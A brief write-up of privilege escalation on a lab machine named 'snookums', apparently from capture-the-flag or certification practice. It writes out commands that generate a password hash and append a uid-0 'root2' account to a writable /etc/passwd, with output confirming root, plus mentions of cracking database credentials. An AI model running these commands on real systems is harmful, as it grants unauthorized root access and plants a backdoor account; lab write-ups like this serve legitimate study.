Priv Escalation

IPwnkit,

I am not sure if this was the intended way, however. I inspected all ports for mysql and they werent vulnerable because we werent allowed load modules, I also tried dirtycow and dirtycow2 but failed because of a missing library in the system. I tried switching to the other user in this computer named 'michael' but was unable to do anything with him.

There was another intended way.

The db had multiple databases that gave the credentials for user named michael.

I cracked the password and was able to switch into that user.

I ran su michael with those credentials and was able to find that the user michael had write access to the passwd file.

[michael@snookums tmp]$ openssl passwd -1 -salt password password 
$1$password$Da2mWXlxe6J7jtww12SNG/
echo 'root2:$1$password$Da2mWXlxe6J7jtww12SNG/:0:0:root2:/root:/bin/bash' >> /etc/passwd
su root2 
[root@snookums tmp]# whoami
root
[root@snookums tmp]# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:httpd_t:s0
[root@snookums tmp]# hostname 
snookums

Last updated